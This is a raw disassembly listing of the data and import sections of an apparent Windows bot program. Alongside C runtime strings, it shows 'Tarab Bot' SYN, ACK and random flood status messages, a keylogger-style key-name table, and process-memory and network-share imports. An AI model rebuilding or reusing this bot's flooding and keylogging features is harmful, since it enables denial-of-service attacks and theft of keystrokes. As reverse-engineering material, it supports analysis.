unicode 0, <(null)>,0
align 10h
aNull_0 db '(null)',0 ; DATA XREF: .data:off_438A78o
align 4
a__global_heap_ db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: sub_41A89C+8Eo
align 10h
a__msvcrt_heap_ db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: sub_41A89C+4Fo
align 4
a_yn db '_yn',0
a_y1 db '_y1',0
a_y0 db '_y0',0
aFrexp db 'frexp',0
align 4
aFmod db 'fmod',0
align 4
a_hypot db '_hypot',0
align 4
a_cabs db '_cabs',0
align 4
aLdexp db 'ldexp',0
align 4
aModf db 'modf',0
align 4
aFabs db 'fabs',0
align 4
aFloor db 'floor',0
align 4
aCeil db 'ceil',0
align 4
aTan db 'tan',0
aCos db 'cos',0
aSin db 'sin',0
aSqrt db 'sqrt',0
align 10h
aAtan2 db 'atan2',0
align 4
aAtan db 'atan',0
align 10h
aAcos db 'acos',0
align 4
aAsin db 'asin',0
align 10h
aTanh db 'tanh',0
align 4
aCosh db 'cosh',0
align 10h
aSinh db 'sinh',0
align 4
aLog10 db 'log10',0
align 10h
aLog db 'log',0
aPow db 'pow',0
aExp db 'exp',0 ; DATA XREF: .data:off_43ACCCo
align 10h
dbl_423810 dq 0.0 ; DATA XREF: sub_41BFF3+8Cr
; sub_41BFF3+ACr ...
dbl_423818 dq 4.195835e6 ; DATA XREF: sub_41C508+Fr
dbl_423820 dq 3.145727e6 ; DATA XREF: sub_41C508+6r
aIsprocessorfea db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_41C546+Fo
align 4
aKernel32 db 'KERNEL32',0 ; DATA XREF: sub_41C546o
align 10h
aE000 db 'e+000',0 ; DATA XREF: sub_41C66D+93o
align 4
dword_423858 dd 0FFFFFFFFh, 41CD58h, 41CD62h, 0 ; DATA XREF: sub_41CCF1+5o
dword_423868 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_41CE20+5o
dd offset loc_41CEDE
align 8
dd offset sub_41CEBC
dd offset sub_41CEC6
dword_423880 dd 0FFFFFFFFh, 41D10Eh, 41D112h, 0 ; DATA XREF: sub_41CF56+5o
dword_423890 dd 0FFFFFFFFh, 41D170h, 41D179h, 0 ; DATA XREF: sub_41D11A+5o
dword_4238A0 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_41D1FC+5o
dd offset loc_41D24D
align 10h
dd offset loc_41D239
dd offset loc_41D23D
dword_4238B8 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_41D252+5o
dd offset loc_41D2A3
align 8
dd offset loc_41D28F
dd offset loc_41D293
dword_4238D0 dd 2 dup(0) ; DATA XREF: sub_41E409+36o
; sub_41F88F+39o ...
dword_4238D8 dd 0FFFFFFFFh, 41E519h, 41E51Dh, 0FFFFFFFFh, 41E5CDh, 41E5D1h
; DATA XREF: sub_41E409+5o
dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h
dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0
dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h
dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h
dd 65682065h, 0A0D7061h, 0
aR6027NotEnough db 'R6027',0Dh,0Ah
db '- not enough space for lowio initialization',0Dh,0Ah,0
align 10h
aR6026NotEnough db 'R6026',0Dh,0Ah
db '- not enough space for stdio initialization',0Dh,0Ah,0
align 4
aR6025PureVirtu db 'R6025',0Dh,0Ah
db '- pure virtual function call',0Dh,0Ah,0
align 10h
aR6024NotEnough db 'R6024',0Dh,0Ah
db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
align 4
aR6019UnableToO db 'R6019',0Dh,0Ah
db '- unable to open console device',0Dh,0Ah,0
align 4
aR6018Unexpecte db 'R6018',0Dh,0Ah
db '- unexpected heap error',0Dh,0Ah,0
align 4
aR6017Unexpecte db 'R6017',0Dh,0Ah
db '- unexpected multithread lock error',0Dh,0Ah,0
align 4
aR6016NotEnough db 'R6016',0Dh,0Ah
db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra db 0Dh,0Ah
db 'abnormal program termination',0Dh,0Ah,0
align 4
aR6009NotEnough db 'R6009',0Dh,0Ah
db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough db 'R6008',0Dh,0Ah
db '- not enough space for arguments',0Dh,0Ah,0
align 10h
aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: .data:off_43B10Co
db '- floating point not loaded',0Dh,0Ah,0
align 4
aMicrosoftVisua db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_41F5B1+119o
align 10h
asc_423BA0 db 0Ah ; DATA XREF: sub_41F5B1+F1o
db 0Ah,0
align 4
aRuntimeErrorPr db 'Runtime Error!',0Ah ; DATA XREF: sub_41F5B1+D3o
db 0Ah
db 'Program: ',0
align 10h
a___ db '...',0 ; DATA XREF: sub_41F5B1+BFo
aProgramNameUnk db '<program name unknown>',0 ; DATA XREF: sub_41F5B1+7Do
align 10h
dword_423BE0 dd 0FFFFFFFFh, 41F988h, 41F98Ch ; DATA XREF: sub_41F88F+5o
aSunmontuewedth db 'SunMonTueWedThuFriSat',0
align 4
aJanfebmaraprma db 'JanFebMarAprMayJunJulAugSepOctNovDec',0
align 4
aTz db 'TZ',0 ; DATA XREF: sub_42067A+Ao
align 10h
aGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: sub_420D8F+3Do
align 4
aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: sub_420D8F+35o
aMessageboxa db 'MessageBoxA',0 ; DATA XREF: sub_420D8F+24o
a1Qnan db '1#QNAN',0 ; DATA XREF: sub_4216D9:loc_4217CEo
align 4
a1Inf db '1#INF',0 ; DATA XREF: sub_4216D9+D8o
align 10h
a1Ind db '1#IND',0 ; DATA XREF: sub_4216D9+C7o
align 4
a1Snan db '1#SNAN',0 ; DATA XREF: sub_4216D9+ADo
align 10h
dword_423C80 dd 0FFFFFFFFh, 4220D1h, 4220D5h, 0FFFFFFFFh, 422140h, 422144h
; DATA XREF: sub_421F1A+5o
dd 423DBCh
off_423C9C dd offset loc_4224D2 ; DATA XREF: sub_4224AA+8o
; sub_4224EE+2Co ...
dd offset sub_4224C5
dd offset sub_4226E6
dd offset dword_423E08
off_423CAC dd offset sub_42253C ; DATA XREF: sub_4224EE+3Ao
; sub_422558o ...
dd offset sub_4224C5
dd offset loc_422722
dword_423CB8 dd 0 ; DATA XREF: sub_4224EE+16o
; sub_4225C0+16o
aInvalidStringP db 'invalid string position',0 ; DATA XREF: sub_422563+11o
dd offset dword_423E54
off_423CD8 dd offset sub_42264B ; DATA XREF: sub_422667o
; sub_42268A+37o ...
dd offset sub_4224C5
dd offset loc_422704
aStringTooLong db 'string too long',0 ; DATA XREF: sub_42268A+11o
dd offset dword_423E98
off_423CF8 dd offset loc_4227E7 ; DATA XREF: sub_4227D2o
; .data:off_43B82Co ...
dd offset dword_423EC8
off_423D00 dd offset loc_422803 ; DATA XREF: sub_42281F+8o
; sub_42285C+8o ...
dd offset sub_4228BC
aUnknownExcepti db 'Unknown exception',0 ; DATA XREF: sub_4228BC+7o
align 10h
dword_423D20 dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF: sub_4228C9+Eo
dd 3, 19930520h, 2 dup(0)
dword_423D40 dd 0FFFFFFFFh, 422A7Ah, 422A7Eh, 0FFFFFFFFh, 422AF7h, 422AFBh
; DATA XREF: sub_422978+5o
dword_423D58 dd 0FFFFFFFFh, 422CEFh, 422CF3h, 0FFFFFFFFh, 422D4Ch, 422D50h
; DATA XREF: sub_422C03+5o
dd 43B82Ch, 2 dup(0)
dd 0FFFFFFFFh, 2 dup(0)
off_423D88 dd offset off_43B844 ; DATA XREF: .data:00423DA0o
; .data:00423DECo ...
dd 1, 0
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_423D88
dd offset dword_423D58+18h
dword_423DA8 dd 3 dup(0) ; DATA XREF: .data:00423DCCo
dd 2, 423DA0h, 3 dup(0)
dd offset off_43B844
dd offset dword_423DA8+4
off_423DD0 dd offset off_43B864 ; DATA XREF: .data:00423DE8o
dd 2, 0
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_423DD0
dd offset off_423D88
dd offset dword_423D58+18h
dd 0
db 0 ; DATA XREF: .data:00423E18o
db 0
db 0
db 0
db 0
db 0
db 0
db 0
dd 3, 423DE8h
dword_423E08 dd 3 dup(0) ; DATA XREF: .data:00423CA8o
dd offset off_43B864
dd offset unk_423DF8
off_423E1C dd offset off_43B884 ; DATA XREF: .data:00423E34o
dd 2, 0
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_423E1C
dd offset off_423D88
dd offset dword_423D58+18h
dword_423E40 dd 3 dup(0) ; DATA XREF: .data:00423E64o
dd 3, 423E34h
dword_423E54 dd 3 dup(0) ; DATA XREF: .data:00423CD4o
dd offset off_43B884
dd offset dword_423E40+4
off_423E68 dd offset off_43B8A8 ; DATA XREF: .data:00423E80o
dd 2 dup(0)
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_423E68
dd 0
db 0 ; DATA XREF: .data:00423EA8o
db 0
db 0
db 0
db 0
db 0
db 0
db 0
dd 1, 423E80h
dword_423E98 dd 3 dup(0) ; DATA XREF: .data:00423CF4o
dd offset off_43B8A8
dd offset unk_423E88
dd offset dword_423D58+18h
dword_423EB0 dd 4 dup(0) ; DATA XREF: .data:00423ED8o
dd 1, 423EACh
dword_423EC8 dd 3 dup(0) ; DATA XREF: .data:00423CFCo
dd offset off_43B82C
dd offset dword_423EB0+8
dd 0FFFFFFFFh, 422DD0h, 0
dd offset sub_422DC8
dword_423EEC dd 19930520h, 2, 423EDCh, 4 dup(0) ; DATA XREF: .data:loc_422DE7o
dd 0FFFFFFFFh, 422DF4h, 0
dd offset loc_422DFC
dword_423F18 dd 19930520h, 2, 423F08h, 4 dup(0) ; DATA XREF: .data:loc_422E04o
dd 0FFFFFFFFh, 0
dd 0FFFFFFFFh, 4 dup(0)
dd offset loc_404733
dd 2 dup(0)
dd 2 dup(1), 423F44h
dword_423F68 dd 19930520h, 2, 423F34h, 1, 423F54h, 2 dup(0)
; DATA XREF: .data:loc_422E10o
dd 0FFFFFFFFh, 422E1Ah
dword_423F8C dd 19930520h, 1, 423F84h, 5 dup(0) ; DATA XREF: .data:loc_422E22o
dd offset off_43B82C
dd 0
dd 0FFFFFFFFh, 0
dd 0Ch, 42285Ch, 0
dd offset off_43B844
align 10h
dd 0FFFFFFFFh, 0
dd 1Ch, 422608h, 0
dd offset off_43B864
dd 0
dd 0FFFFFFFFh, 0
dword_423FF4 dd 1Ch, 422672h, 3, 423FE0h, 423FC4h, 423FA8h ; DATA XREF: .data:00424018o
dword_42400C dd 0 ; DATA XREF: sub_422563+2Eo
; sub_4226E6+4Bo
dd offset sub_422558
align 8
dd offset dword_423FF4+8
dd 0FFFFFFFFh, 422E2Ch
dword_424024 dd 19930520h, 1, 42401Ch, 4 dup(0) ; DATA XREF: .data:loc_422E34o
dd 0FFFFFFFFh, 422E3Eh
dword_424048 dd 19930520h, 1, 424040h, 4 dup(0) ; DATA XREF: .data:loc_422E46o
dd 0FFFFFFFFh, 422E50h
dword_42406C dd 19930520h, 1, 424064h, 5 dup(0) ; DATA XREF: .data:loc_422E58o
dd offset off_43B884
dd 0
dd 0FFFFFFFFh, 0
dword_42409C dd 1Ch, 4226CEh, 3, 424088h, 423FC4h, 423FA8h ; DATA XREF: .data:004240C0o
dword_4240B4 dd 0 ; DATA XREF: sub_42268A+2Eo
; sub_4226E6+2Do
dd offset sub_422667
align 10h
dd offset dword_42409C+8
dd 0FFFFFFFFh, 422E62h
dword_4240CC dd 19930520h, 1, 4240C4h, 4 dup(0) ; DATA XREF: .data:loc_422E6Ao
dword_4240E8 dd 2, 423FC4h, 423FA8h ; DATA XREF: .data:00424100o
dword_4240F4 dd 0 ; DATA XREF: sub_4226E6+Fo
dd offset sub_4224AA
align 10h
dd offset dword_4240E8
dd 2432Ch, 2 dup(0)
dd 24396h, 231D8h, 24334h, 2 dup(0)
dd 2439Eh, 231E0h, 24154h, 2 dup(0)
dd 24C12h, 23000h, 5 dup(0)
dd 2471Eh, 24BF8h, 24BE6h, 24BD4h, 24BC4h, 24BB4h, 24BA4h
dd 24B86h, 24B72h, 24B62h, 24B50h, 24B3Eh, 24B30h, 24B20h
dd 24B0Eh, 24AF4h, 24ADCh, 24AC2h, 24AA8h, 24A8Ch, 24A80h
dd 243AAh, 243B8h, 243C8h, 243E2h, 243FEh, 24406h, 2441Ch
dd 2442Ch, 24442h, 2444Eh, 2445Ch, 24468h, 2447Ch, 2448Ah
dd 244A0h, 244B0h, 244C0h, 244D6h, 244E8h, 244FAh, 2450Ah
dd 24518h, 2452Eh, 2453Ah, 24552h, 2456Ch, 2457Ch, 2458Eh
dd 245A0h, 245B8h, 245D0h, 245F8h, 24610h, 2461Eh, 24638h
dd 2464Ah, 2465Ah, 24666h, 24672h, 24684h, 24696h, 246AAh
dd 246BAh, 246C8h, 246DCh, 246EEh, 246FEh, 2470Ch, 2472Eh
dd 24744h, 24752h, 24760h, 24772h, 2478Eh, 247A4h, 247B4h
dd 247CAh, 247DAh, 247ECh, 24800h, 2480Eh, 2481Eh, 24834h
dd 24842h, 24858h, 2486Ch, 2487Ah, 24890h, 2489Ch, 248ACh
dd 248BEh, 248CAh, 248DEh, 248F6h, 24908h, 2491Ch, 24936h
dd 24952h, 2495Eh, 24978h, 24988h, 24996h, 249A8h, 249BAh
dd 249C8h, 249E2h, 249F0h, 249FEh, 24A0Ch, 24A1Ch, 24A2Ch
dd 24A3Eh, 24A4Ah, 24A5Ah, 24A6Ah, 24A76h, 0
dd 24380h, 0
dd 80000073h, 80000015h, 80000002h, 8000000Dh, 80000001h
dd 80000016h, 80000034h, 8000000Bh, 80000074h, 80000010h
dd 80000013h, 80000012h, 80000097h, 80000017h, 8000000Ah
dd 80000004h, 80000003h, 80000009h, 0
db 6
align 2
aWnetaddconne_1 db 'WNetAddConnection2A',0
aMpr_dll_0 db 'MPR.dll',0
aWs2_32_dll_0 db 'WS2_32.dll',0
align 2
db 'º',0
aExitthread db 'ExitThread',0
align 4
db 0DFh ; ß
db 1, 47h, 65h
aTtickcount db 'tTickCount',0
align 4
db 0A3h ; £
db 2, 51h, 75h
aEryperformance db 'eryPerformanceCounter',0
dw 2A4h
aQueryperform_1 db 'QueryPerformanceFrequency',0
dw 356h
aSleep db 'Sleep',0
dw 1C1h
aGetsystemdirec db 'GetSystemDirectoryA',0
db 73h ; s
db 1, 47h, 65h
aTlocaltime db 'tLocalTime',0
align 4
db 75h ; u
db 2, 4Dh, 75h
aLtibytetowidec db 'ltiByteToWideChar',0
dw 2B5h
aReadfile db 'ReadFile',0
align 2
a4 db '4',0
aClosehandle db 'CloseHandle',0
db 0A4h ; ¤
db 3, 57h, 72h
aItefile db 'iteFile',0
db 68h ; h
db 3, 54h, 72h
aAnsactnamedpip db 'ansactNamedPipe',0
aS_1 db 'S',0
aCreatefilea db 'CreateFileA',0
db 90h
db 3
aWaitforsingleo db 'WaitForSingleObject',0
db 71h ; q
db 1, 47h, 65h
aTlasterror db 'tLastError',0
align 10h
aO db 'O',0
aCreateeventa db 'CreateEventA',0
align 10h
db 7Dh ; }
db 1, 47h, 65h
aTmodulefilenam db 'tModuleFileNameA',0
align 2
dw 1E0h
aGettimeformata db 'GetTimeFormatA',0
align 4
db 47h ; G
db 1, 47h, 65h
aTdateformata db 'tDateFormatA',0
align 2
aO_0 db 'o',0
aCreatethread db 'CreateThread',0
align 2
dw 163h
aGetfilesize db 'GetFileSize',0
db 5Eh ; ^
db 1, 47h, 65h
aTfileattribute db 'tFileAttributesA',0
align 2
db 'Î',0
aFindclose db 'FindClose',0
db 'Å',0
aFiletimetosyst db 'FileTimeToSystemTime',0
align 2
db 'Ä',0
aFiletimetoloca db 'FileTimeToLocalFileTime',0
db 'Ü',0
aFindnextfilea db 'FindNextFileA',0
db 'Ò',0
aFindfirstfilea db 'FindFirstFileA',0
align 2
dw 31Bh
aSetfilepointer db 'SetFilePointer',0
align 10h
db 51h ; Q
db 2, 4Ch, 65h
aAvecriticalsec db 'aveCriticalSection',0
align 4
aS_2 db '˜',0
aEntercriticals db 'EnterCriticalSection',0
align 10h
db 24h ; $
db 2, 49h, 6Eh
aItializecritic db 'itializeCriticalSectionAndSpinCount',0
aB db '',0
aDeletecritical db 'DeleteCriticalSection',0
dd 724600F8h, 694C6565h, 72617262h, 1590079h
aGetenvironment db 'GetEnvironmentVariableW',0
dd 654701A0h, 6F725074h, 64644163h, 73736572h, 2520000h
dd 64616F4Ch, 7262694Ch, 41797261h, 2160000h, 70616548h
dd 65657246h, 2100000h, 70616548h, 6F6C6C41h, 1A30063h
dd 50746547h, 65636F72h, 65487373h, 7061h, 69560389h, 61757472h
dd 6575516Ch, 78457972h, 2B80000h
aReadprocessmem db 'ReadProcessMemory',0
dw 1C5h
aGetsysteminfo db 'GetSystemInfo',0
dw 286h
aOpenprocess db 'OpenProcess',0
dd 6547017Fh, 646F4D74h, 48656C75h, 6C646E61h, 4165h, 6F4600F3h
dd 74616D72h, 7373654Dh, 41656761h, 20A0000h, 626F6C47h
dd 6E556C61h, 6B636F6Ch, 2030000h, 626F6C47h, 6F4C6C61h
dd 6B63h, 6E550371h, 5670616Dh, 4F776569h, 6C694666h, 2680065h
dd 5670614Dh, 4F776569h, 6C694666h, 540065h
aCreatefilemapp db 'CreateFileMappingA',0
align 4
dd 6553031Fh, 6C694674h, 6D695465h, 1650065h, 46746547h
dd 54656C69h, 656D69h, 72430066h, 65746165h, 636F7250h
dd 41737365h, 0BC0000h
aExpandenvironm db 'ExpandEnvironmentStringsA',0
dw 319h
aSetfileattribu db 'SetFileAttributesA',0
align 4
db 0D5h ; Õ
db 1, 47h, 65h
aTtemppatha db 'tTempPathA',0
align 4
db 5Ah ; Z
db 1, 47h, 65h
aTexitcodeproce db 'tExitCodeProcess',0
align 2
dw 291h
aPeeknamedpipe db 'PeekNamedPipe',0
aU db '“',0
aDuplicatehandl db 'DuplicateHandle',0
db 42h ; B
db 1, 47h, 65h
aTcurrentproces db 'tCurrentProcess',0
aE db 'e',0
aCreatepipe db 'CreatePipe',0
align 2
dw 1E9h
aGetversionexa db 'GetVersionExA',0
dw 204h
aGlobalmemoryst db 'GlobalMemoryStatus',0
align 4
db '¹',0
aExitprocess db 'ExitProcess',0
dw 394h
aWidechartomult db 'WideCharToMultiByte',0
dd 65470114h, 6D6F4374h, 65747570h, 6D614E72h, 4165h, 65440083h
dd 6574656Ch, 656C6946h, 1430041h
aGetcurrentproc db 'GetCurrentProcessId',0
aC db 'C',0
aCopyfilea db 'CopyFileA',0
db '`',0
aCreatemutexa db 'CreateMutexA',0
align 4
dd 6554035Fh, 6E696D72h, 54657461h, 61657268h, 26E0064h
dd 65766F4Dh, 656C6946h, 35E0041h, 6D726554h, 74616E69h
dd 6F725065h, 73736563h, 2EE0000h
aSetconsolectrl db 'SetConsoleCtrlHandler',0
dw 174h
aGetlocaleinfoa db 'GetLocaleInfoA',0
align 4
db 78h ; x
db 1, 47h, 65h
aTlogicaldrives db 'tLogicalDrives',0
align 4
db 8Eh ; Ž
db 3, 57h, 61h
aItformultipleo db 'itForMultipleObjects',0
align 2
dw 0FCh
aGenerateconsol db 'GenerateConsoleCtrlEvent',0
align 2
dw 2D7h
aRtlunwind db 'RtlUnwind',0
dw 1E2h
aGettimezoneinf db 'GetTimeZoneInformation',0
align 4
db 0C8h ; È
db 1, 47h, 65h
aTsystemtime db 'tSystemTime',0
db 1Ah
db 2, 48h, 65h
aAprealloc db 'apReAlloc',0
dw 1B7h
aGetstartupinfo db 'GetStartupInfoA',0
db 10h
db 1, 47h, 65h
aTcommandlinea db 'tCommandLineA',0
dw 1E8h
aGetversion db 'GetVersion',0
align 4
db 58h ; X
db 1, 47h, 65h
aTenvironmentva db 'tEnvironmentVariableA',0
dw 214h
aHeapdestroy db 'HeapDestroy',0
db 12h
db 2, 48h, 65h
aApcreate db 'apCreate',0
align 2
dw 383h
aVirtualfree db 'VirtualFree',0
db 81h ;
db 3, 56h, 69h
aRtualalloc db 'rtualAlloc',0
align 4
db 36h ; 6
db 2, 49h, 73h
aBadwriteptr db 'BadWritePtr',0
db 0A7h ; §
db 2, 52h, 61h
aIseexception db 'iseException',0
align 2
dw 21Ch
aHeapsize db 'HeapSize',0
align 2
dw 244h
aLcmapstringa db 'LCMapStringA',0
align 2
dw 245h
aLcmapstringw db 'LCMapStringW',0
align 2
dw 104h
aGetcpinfo db 'GetCPInfo',0
dw 0FDh
aGetacp db 'GetACP',0
align 10h
db 93h ; “
db 1, 47h, 65h
aToemcp db 'tOEMCP',0
align 4
db 6Eh ; n
db 3, 55h, 6Eh
aHandledexcepti db 'handledExceptionFilter',0
align 4
db 0F6h ; ö
align 2
aFreeenvironmen db 'FreeEnvironmentStringsA',0
dw 0F7h
aFreeenvironm_0 db 'FreeEnvironmentStringsW',0
db 55h ; U
db 1, 47h, 65h
aTenvironmentst db 'tEnvironmentStrings',0
db 57h ; W
db 1, 47h, 65h
aTenvironment_0 db 'tEnvironmentStringsW',0
align 2
dw 324h
aSethandlecount db 'SetHandleCount',0
align 10h
dd 654701B9h, 64745374h, 646E6148h, 656Ch, 65470166h, 6C694674h
dd 70795465h, 1BA0065h, 53746547h, 6E697274h, 70795467h
dd 4165h, 654701BDh, 72745374h, 54676E69h, 57657079h, 3370000h
dd 53746553h, 61486474h, 656C646Eh, 0EE0000h, 73756C46h
dd 6C694668h, 66754265h, 73726566h, 34A0000h
aSetunhandledex db 'SetUnhandledExceptionFilter',0
db 33h ; 3
db 2, 49h, 73h
aBadreadptr db 'BadReadPtr',0
align 4
db 30h ; 0
db 2, 49h, 73h
aBadcodeptr db 'BadCodePtr',0
align 4
db 10h
db 3, 53h, 65h
aTendoffile db 'tEndOfFile',0
align 4
db ':',0
aComparestringa db 'CompareStringA',0
align 2
db ';',0
aComparestringw db 'CompareStringW',0
align 4
db 13h
db 3, 53h, 65h
aTenvironment_1 db 'tEnvironmentVariableA',0
aKernel32_dll db 'KERNEL32.dll',0
align 10h
dd 0F8h dup(0)
dword_425000 dd 0 ; DATA XREF: sub_4197B8+1Fo
dd offset sub_4030A2
dd offset sub_4047E1
dd offset sub_404803
dword_425010 dd 0 ; DATA XREF: sub_4197B8+1Ao
dword_425014 dd 0 ; DATA XREF: sub_4197B8+10o
dd offset sub_418382
dd offset sub_41EA1C
dd offset sub_41F76E
dd offset sub_4205E0
dword_425028 dd 0 ; DATA XREF: sub_4197B8:loc_4197C3o
dword_42502C dd 0 ; DATA XREF: sub_419807+65o
dd offset sub_41F813
dword_425034 dd 0 ; DATA XREF: sub_419807:loc_419867o
dword_425038 dd 0 ; DATA XREF: sub_419807+76o
dd offset sub_4205F1
dword_425040 dd 4 dup(0) ; DATA XREF: sub_419807:loc_419878o
dword_425050 dd 72023602h, 28201F62h, 736F6464h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_401000+5Bo
dd 2BBBB02h
aTarabBotDoneWi db ' Tarab Bot Done with flood (%iKB/sec).',0
align 4
dword_425094 dd 72023602h, 28201F62h, 736F6464h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_4010B2+31Ao
dd 2BBBB02h
aTarabBotSendEr db ' Tarab Bot Send error: <%d>.',0
align 4
aDdos_random db 'ddos.random',0 ; DATA XREF: sub_4010B2:loc_4011DEo
; sub_40EC43+25E5o
aDdos_ack db 'ddos.ack',0 ; DATA XREF: sub_4010B2:loc_4011C2o
; sub_40EC43+25CEo
align 4
aDdos_syn db 'ddos.syn',0 ; DATA XREF: sub_4010B2+F1o
; sub_40EC43+25B7o
align 10h
unk_4250F0 db 2 ; DATA XREF: sub_401444+390o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 69h, 63h, 6Dh
db 70h ; p
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aErrorSendingPa db ' Error sending packets to IP: %s. Packets sent: %d. Returned: <%'
db 'd>.',0
align 10h
unk_425150 db 2 ; DATA XREF: sub_401444+326o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 69h, 63h, 6Dh
db 70h ; p
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aDoneWithSFlood db ' Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%d'
db 'MB).',0
align 10h
unk_4251B0 db 2 ; DATA XREF: sub_401444+12Ao
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 69h, 63h, 6Dh
db 70h ; p
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aInvalidTargetI db ' Invalid target IP.',0
align 10h
unk_4251E0 db 2 ; DATA XREF: sub_401444+C2o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 69h, 63h, 6Dh
db 70h ; p
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aErrorSetsockop db ' Error: setsockopt() failed, returned: <%d>.',0
align 4
unk_425228 db 2 ; DATA XREF: sub_401444+49o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 69h, 63h, 6Dh
db 70h ; p
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aErrorSocketFai db ' Error: socket() failed, returned: <%d>.',0
align 4
aSupersynDoneWi db '[SUPERSYN]: Done with flood (%iKB/sec)',0 ; DATA XREF: sub_40182F+48o
align 4
unk_425294 db 2 ; DATA XREF: sub_4019C8+48o
db 6Eh, 2, 72h
db 62h ; b
db 1Fh, 20h, 28h
db 73h ; s
db 79h, 6Eh, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aDoneWithFloodI db ' Done with flood (%iKB/sec).',0
align 4
dword_4252CC dd 7A026E02h, 201F6D1Fh, 6E797328h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_401A64+295o
dd 2BBBB02h
aSendErrorD_ db ' Send error: <%d>.',0
dword_4252F8 dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_401D6D+4E4o
dd 2BBBB02h
aErrorSending_0 db ' Error sending packets to IP: %s. Packets sent: %d. Returned: <%'
db 'd>.',0
align 4
dword_425358 dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_401D6D+471o
dd 2BBBB02h
aDoneWithSFlo_0 db ' Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%d'
db 'MB).',0
align 4
aRandom db 'random',0 ; DATA XREF: sub_401D6D+2FDo
; sub_40EC43+2BFCo ...
align 10h
aAck db 'ack',0 ; DATA XREF: sub_401D6D+2DDo
; sub_40EC43+2BE5o
aSyn db 'syn',0 ; DATA XREF: sub_401D6D+2BDo
; sub_40EC43+2BCDo
dword_4253C8 dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_401D6D+15Fo
dd 2BBBB02h
aInvalidTarge_0 db ' Invalid target IP.',0
align 4
dword_4253F8 dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_401D6D+EEo
dd 2BBBB02h
aErrorSetsock_0 db ' Error: setsockopt() failed, returned: <%d>.',0
align 10h
dword_425440 dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_401D6D+70o
dd 2BBBB02h, 72452020h, 3A726F72h, 636F7320h, 2874656Bh
dd 61662029h, 64656C69h, 6572202Ch, 6E727574h, 203A6465h
dd 3E64253Ch, 2Eh, 0
dd 8
dword_42548C dd 62h, 62000000h, 2 dup(0) ; DATA XREF: sub_402394:loc_402477o
dd 0Dh, 65h, 65000000h, 2 dup(0)
dd 1Bh, 4353455Bh, 5B00005Dh, 5D435345h, 0
dd 70h, 5D31465Bh, 5B000000h, 5D3146h, 0
dd 71h, 5D32465Bh, 5B000000h, 5D3246h, 0
dd 72h, 5D33465Bh, 5B000000h, 5D3346h, 0
dd 73h, 5D34465Bh, 5B000000h, 5D3446h, 0
dd 74h, 5D35465Bh, 5B000000h, 5D3546h, 0
dd 75h, 5D36465Bh, 5B000000h, 5D3646h, 0
dd 76h, 5D37465Bh, 5B000000h, 5D3746h, 0
dd 77h, 5D38465Bh, 5B000000h, 5D3846h, 0
dd 78h, 5D39465Bh, 5B000000h, 5D3946h, 0
dd 79h, 3031465Bh, 5B00005Dh, 5D303146h, 0
dd 7Ah, 3131465Bh, 5B00005Dh, 5D313146h, 0
dd 7Bh, 3231465Bh, 5B00005Dh, 5D323146h, 0
dd 0C0h, 60h, 7E000000h, 2 dup(0)
dd 2 dup(31h), 21000000h, 2 dup(0)
dd 2 dup(32h), 40000000h, 2 dup(0)
dd 2 dup(33h), 23000000h, 2 dup(0)
dd 2 dup(34h), 24000000h, 2 dup(0)
dd 2 dup(35h), 25000000h, 2 dup(0)
dd 2 dup(36h), 5E000000h, 2 dup(0)
dd 2 dup(37h), 26000000h, 2 dup(0)
